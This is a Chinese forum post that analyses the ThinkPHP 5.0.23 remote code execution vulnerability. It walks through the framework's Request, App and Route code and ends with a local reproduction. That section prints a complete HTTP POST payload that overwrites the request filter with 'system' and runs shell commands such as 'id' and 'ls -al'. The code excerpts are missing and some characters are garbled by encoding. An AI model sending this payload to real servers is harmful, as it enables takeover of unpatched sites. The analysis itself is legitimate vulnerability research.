資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊成為正式會員
查看: 1619|回復(fù): 0
打印 上一主題 下一主題

[網(wǎng)絡(luò)安全/滲透測試] ThinkPHP 5.0 遠(yuǎn)程代碼執(zhí)行漏洞分析

[復(fù)制鏈接]

184

主題

347

帖子

14

精華

資源共享吧豪華貴族SVIP

Rank: 9Rank: 9Rank: 9

資源幣
18816
積分
3920
貢獻(xiàn)
1368
在線時間
1084 小時
注冊時間
2015-4-18
最后登錄
2020-2-22

終身成就常駐居民幽默大師灌水大師原創(chuàng)先鋒精華會員資源共享吧女神宣傳大使愛心大使

跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2019-5-20 15:00:30 | 只看該作者 |只看大圖 回帖獎勵 |倒序瀏覽 |閱讀模式
ThinkPHP 5.0 遠(yuǎn)程代碼執(zhí)行漏洞分析


0x01 前言
本文主要以官網(wǎng)下載的5.0.23 完整版(thinkphp_5.0.23_with_extend.zip)為例分析。
0x02 漏洞分析(一)
Thinkphp處理請求的關(guān)鍵類為Request(thinkphp/library/think/Request.php)
該類可以實(shí)現(xiàn)對HTTP請求的一些設(shè)置,其中成員函數(shù)method用來獲取當(dāng)前請求類型,其定義如下:




該函數(shù)主要在其他成員函數(shù)(例如isGet、isPost、isPut等)中被用來做請求類型判斷





thinkphp支持配置“表單偽裝變量”,默認(rèn)情況下該變量值為_method





因此在method()中,可以通過“表單偽裝變量”進(jìn)行變量覆蓋實(shí)現(xiàn)對該類任意函數(shù)的調(diào)用,并且$_POST作為函數(shù)的參數(shù)傳入



Request類的構(gòu)造函數(shù)定義如下:

構(gòu)造函數(shù)中,主要對$option數(shù)組進(jìn)行遍歷,當(dāng)$option的鍵名為該類屬性時,則將該類同名的屬性賦值為$options中該鍵的對應(yīng)值,因此可以構(gòu)造請求如下,來實(shí)現(xiàn)對Request類屬性值的覆蓋,例如覆蓋filter屬性。filter屬性保存了用于全局過濾的函數(shù),因此在thinkphp 5.0.10 中可以通過構(gòu)造如下請求實(shí)現(xiàn)代碼執(zhí)行:

0x03 漏洞分析(二)
在官網(wǎng)最新下載的5.0.23完整版中,在App類(thinkphp/library/think/App.php)中module方法增加了設(shè)置filter參數(shù)值的代碼,用于初始化filter。因此通過上述請求設(shè)置的filter參數(shù)值會被重新覆蓋為空導(dǎo)致無法利用:


在5.0.23的Request類中,存在param成員函數(shù)用于獲取當(dāng)前請求的參數(shù)。其中也有調(diào)用method()函數(shù),并且傳入?yún)?shù)值為true。param函數(shù)代碼實(shí)現(xiàn)如下:





當(dāng)傳入的$method === true時 會執(zhí)行如下代碼:





其中server()實(shí)現(xiàn)如下:



由此可見,參數(shù)$name為REQUEST_METHOD,最終會調(diào)用input函數(shù)。input函數(shù)實(shí)現(xiàn)如下。最終會執(zhí)行到$filter = $this->getFilter($filter,$default); 來解析過濾器。

此時$filter 為‘’,$default為null,繼續(xù)跟進(jìn)查看getFilter函數(shù)的實(shí)現(xiàn):



由于$filter = ‘‘,因此可以執(zhí)行到紅線處,并且最終$filter會被賦值進(jìn)$this->filter ,和$default 即 null。因此經(jīng)過“解析過濾器”的過程,$filter最終可被添加來自請求中的filter。之后,代碼判斷了$data是否為數(shù)組,最終將每個值作為參數(shù),通過filterValue()函數(shù)進(jìn)行過濾。而$data即為server()函數(shù)中傳入的$this->server ,因此也可通過在調(diào)用構(gòu)造函數(shù)時,實(shí)現(xiàn)對$this->server值的覆蓋。
filterValue函數(shù)實(shí)現(xiàn)如下:



最終會通過call_user_func來實(shí)現(xiàn)代碼執(zhí)行。此處原理同剛剛爆出的THINKPHP 5 通過控制controller值實(shí)現(xiàn)反射調(diào)用指定類來遠(yuǎn)程代碼執(zhí)行漏洞原理一致,不再過多分析。
因此只需要找到自動觸發(fā)調(diào)用param()函數(shù)的地方即可。
其中在App類中的run()函數(shù)中,如果開啟了debug模式,會實(shí)現(xiàn)日志的記錄,其中有調(diào)用$request->param()。



因此在debug模式下,發(fā)送如下請求可實(shí)現(xiàn)代碼執(zhí)行:


例如touch /tmp/xxxx


0x04 漏洞分析(三)
繼續(xù)分析,可以看到“記錄路由和請求信息”之前,還實(shí)現(xiàn)了“未設(shè)置調(diào)度信息則進(jìn)行URL路由檢測!逼渲型ㄟ^routeCheck函數(shù)來設(shè)置$dispatch。最終再通過exec函數(shù),將$request和$config 作為參數(shù)傳入后執(zhí)行。其中$config 是通過initCommon函數(shù)調(diào)用init函數(shù)來加載config配置文件來實(shí)現(xiàn)賦值。$request即為Request::instance()。

首先會通過加載config文件導(dǎo)入“路由配置”。默認(rèn)配置如下:
然后通過Route類的import方法加載路由。由于在入口文件index.php(public/index.php)中加載了start.php(thinkphp/start.php)
start.php又加載了base.php(thinkphp/base.php)
base.php中實(shí)現(xiàn)了注冊自動加載
register函數(shù)實(shí)現(xiàn)如下:
該函數(shù)完成了對VENDOR下class的加載。其中完成了驗證碼類路由的加載:
因此上面import之后,Route類$rules值將形如下:
然后代碼會執(zhí)行到“路由檢測”的部分即調(diào)用Route::check的地方,路由檢測主要用于根據(jù)路由的定義返回不同的URL調(diào)度。Route類check函數(shù)實(shí)現(xiàn)如下:
可以看到該check函數(shù)中調(diào)用了Request類的method方法。并將函數(shù)執(zhí)行結(jié)果轉(zhuǎn)換為小寫后保存在$method變量。由于Request類中method函數(shù)在返回method時直接判斷了如果存在$this->method直接返回:
因此我們在調(diào)用構(gòu)造函數(shù)覆蓋變量時,可以直接覆蓋method,這樣上面的$method = strtolower($request->method()); 的$method最終的值就可以被控制了。
回到check函數(shù),在設(shè)置完$method 后,會根據(jù)$method在self:rules中獲取對應(yīng)$method的路由信息,并將結(jié)果賦值給$rules.
最終函數(shù)的return將依賴$rules ,因此$method不同返回也不同。當(dāng)$method 為get 時,$rules 將為如下:
由于$item = str_replace(‘|’, ‘/‘, $url); 而 $url = str_replace($depr, ‘|’, $url),而這個$url最初為該函數(shù)的參數(shù),在App類routeCheck方法中調(diào)用

而這個$path = $request->path(),Request類的path方法實(shí)現(xiàn)如下:

當(dāng)is_null($this->path)時,通過pathinfo()函數(shù)來獲取
其中var_pathino 默認(rèn)值為s
因此綜上,我們可以通過URL中s參數(shù)來設(shè)置App類routeCheck函數(shù)中的$path ,即Router類check函數(shù)中的$url ,最終即能控制 Router類check函數(shù)中的$item 從而控制check函數(shù)真正return哪種結(jié)果,從而最終影響App類run方法的$dispath值即調(diào)度信息。
由于$dispatch 會作為參數(shù)在exec中調(diào)用
其中exec的實(shí)現(xiàn)如下
exec會根據(jù)$dispatch[‘type’]來決定實(shí)際執(zhí)行的代碼。
前面分析可知,我們需要觸發(fā)Request類中param函數(shù)的調(diào)用來完成對filter的覆蓋。此處顯而易見的是,當(dāng)$dispatch[‘type’]為controller 和method時有直接的調(diào)用。當(dāng)然其他的類型,例如當(dāng)$dispatch[‘type’]為function,調(diào)用了invokeFunction,而invokeFunction調(diào)用了bindParams函數(shù),bindParams函數(shù)里存在對param函數(shù)的調(diào)用?傊覀冃枰刂普埱髐rl中s的值完成設(shè)置不同的$method,最終讓routeCheck返回我們需要的$dispath即可。
例如我們控制url為 /public/index.php?s=captcha,同時post body為_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al則check函數(shù)最終會進(jìn)入

然后checkRoute函數(shù),由于rule為字符串,
因此最終會進(jìn)入
然后會進(jìn)入 parseRule

然后會進(jìn)入

最后返回$result. 因此最終$dispatch值為:
因而在傳入exec函數(shù)后,觸發(fā)Request類的param方法,最終覆蓋Request類的server變量,接著通過Request類的input方法,實(shí)現(xiàn)任意代碼執(zhí)行:
0x05 本地復(fù)現(xiàn)
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.228.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Connection: keep-alive
Upgrade-Insecure-Requests: 1

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
成功執(zhí)行命令id:

回復(fù)

使用道具 舉報

 點(diǎn)擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號-1 )

GMT+8, 2024-12-22 00:24 , Processed in 0.037696 second(s), 15 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表